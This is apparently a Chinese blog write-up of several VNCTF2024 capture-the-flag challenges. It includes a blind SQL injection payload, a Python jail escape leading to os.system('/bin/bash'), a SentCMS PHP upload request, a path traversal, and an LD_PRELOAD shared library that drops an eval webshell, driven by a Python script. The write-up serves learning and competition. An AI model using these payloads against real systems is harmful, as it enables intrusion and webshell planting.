VNCTF2024-WP | 风尘孤狼
0%

VNCTF2024-WP

VNCTF2024-WP

前言

没啥时间打了,简单看了一下这次VNCTF,质量还是挺高的,有的没看的题等有师傅发WP再复现看看。

MISC

sqlshark

直接找这种类型语句就行

least函数 LEAST(expression,expression[,…])

逗号分隔的表达式序列中返回最小值

也就是返回的值是里面所有值的最小值,在这题也就是当返回是success时,代表要么大于该值要么等于该值,不可能小于,因为小于该值就不会在设定值的集合里了,也就不会返回success了

any'/**/Or/**/(iF(((((Ord(sUbstr((sElect(grOup_cOncat(password))frOm(users)) frOm 4 fOr 1))))in(105))),1,0))#
97 98 109 105 110 95 111 64 115 115 119 48 114 100

VNCTF{admin_p@ssw0rd}

OnlyLocalSql

第五个写出来,刚开始没看这题,害
image.png

image.png 是西湖论剑初赛原题,只是放到内网,外网不能直接访问到,本来想着是msf搭建代理,但是不行,后边换成frp就可以了

然后访问根据泄露的数据库密码连接,发现连不上
image.png
然后灵机一动,我已经通过SSH有shell了,我直接写个马用蚁剑连,然后也巧合,题目flag只是ctf用户没权限,我写马是www-data权限,就直接读flag了

image.png

vnctf{6aec435f-9543-46b1-8f62-370abea0f615}

pyjail【复现】

python沙箱逃逸

源码pyjail.py

black_list = ['import','getattr','setattr','delattr','eval','exec','global','local','builtin','input','compile','help','breakpoint','license','byte','.','[','+','#','\'','"','{']

def check_ascii(code):
    assert code.isascii()
def check_black_list(code):
    for item in black_list:
        assert item not in code,f'bad: {item}'

if __name__ == '__main__':
    code = input('> ') + '\n'
    while True:
        _ = input()
        if _ == 'EOF':
            break
        code += _ + '\n'

    check_ascii(code)
    check_black_list(code)
    try:
        exec(code)
    except:
        print('Exception!')

server.sh

cd /home/ctf
mv flag /flag

echo 'Welcome to my python jail!'
echo "My python version: `python3 --version`"
echo 'Type `source` to get the source code or `start` to start your escape: '
read option

if [[ "$option" == "source" ]];then
    cat pyjail.py
elif [[ "$option" == "start" ]];then
    python3 pyjail.py
else
    echo 'unknown option!'

有一种姿势是调用help或者breakpoint函数去RCE达到任意命令执行的效果,但是显然这题ban了help和breakpoint,索性就没继续深究了,赛后看到一个师傅写了个调用breakpoint函数的方法,记笔记了记笔记了

match vars():
    case object(items=i):
        pass
match list(i()):
    case object(pop=p):
        match list(p(6)):
            case object(pop=p):
                match p():
                    case object(__dict__=d):
                        match d:
                            case object(values=v):
                                match list(v()):
                                    case object(pop=p):
                                        p(12)()
image-20240218184016898

然后就是调用os即可任意命令执行

__import__('os').system('/bin/bash')
image-20240218184125987

VNCTF{U_R_the_m4ster_0f_Pyth0n_jai1!}

WEB

Checkin

image.png image.png

VNCTF{W31c0m3_t0_VNCTF_2024_g@od_J0B!!!}

TrySent

Sentcms任意文件上传漏洞,注册登陆之后上传恶意文件即可

POST /user/upload/upload HTTP/1.1
Host: adcfa8dc-c331-4ea0-b485-9fa3fd9ad107.vnctf2024.manqiu.top
Cookie: PHPSESSID=83dc5e96502c083ca5441c535463f46c
Content-Length: 894
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Accept: */*
Origin: https://info.ziwugu.vip/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/user/upload/index?name=icon&type=image&limit=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
Connection: close

------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"

test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"

image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"

Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"

164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg

JFIF
<?php phpinfo();?>

------WebKitFormBoundaryrhx2kYAMYDqoTThz--
image.png

访问phpinfo得到flag
image.png

vnctf{fbf0c81b-58a6-47f0-a556-f535c17e3b24}

CutePath

目录穿越可以查看flag

http://manqiu.top:20533/#/../../..//flag/flag
image.png 找到管理员账密
admin:gdgm.edu.cn@M1n9K1n9P@as
image.png 文件可以通过重命名跨目录移动
../../../home/ming/share_main/f
image.png

VNCTF{564e406840636b3156315f6764676d}

givenphp【复现】

题目源码

<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

上传功能和设置环境变量

putenv–环境变量注入的标志

结合题目本身具备的这俩功能,不难想到考点是LD_PRELOAD劫持,来劫持whoami达到执行自己命令的目的

步骤:
1.利用上传功能上传so文件(/tmp/1.so)
2.利用已知so文件上传路径来设置环境变量,LD_PRELOAD=$PWD/1.so

1.so

#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  system("echo '<?php eval($_POST[0]);' > /var/www/html/1.php");
  
  return 0;
}

编译成so文件

gcc 1.c -o 1.so -fPIC -shared -ldl -D_GNU_SOURCE

然后看这一段代码,有个判断,这个本地输出一下会发现是%00lambda_num(num递增)

$func=create_function("","putenv('$key=$value');");
//var_dump(($func));
if($func==$_GET['guess']){
    $func();
    system("whoami");
}

理清楚了就直接先上传so文件然后按照要求传参即可【第一次传参的话就是%00lambda_1】

import requests

url = "http://b9bf6b64-3c2c-487c-a20c-662c2ea17b19.vnctf2024.manqiu.top/"

data = {
    "upload":1
}
file = {
    "file":open('D:\/比赛\/vnctf\/WEB\/givenphp/1.so','rb')
}
r = requests.post(url,data=data,files=file)
fn = r.text[-45:].strip()

param = {
    "challenge":1,
    "key":"LD_PRELOAD",
    "value":fn,
    "guess":'\x00lambda_1'
}
r = requests.get(url,params=param)
print(r.text)

然后访问1.php即可RCE

image-20240218205810441

当然也可以反弹shell,直接改so文件就行

vnctf{df7974bc-8abb-431f-9fc4-c90b686f9db9}

制作不易,如若感觉写的不错,欢迎打赏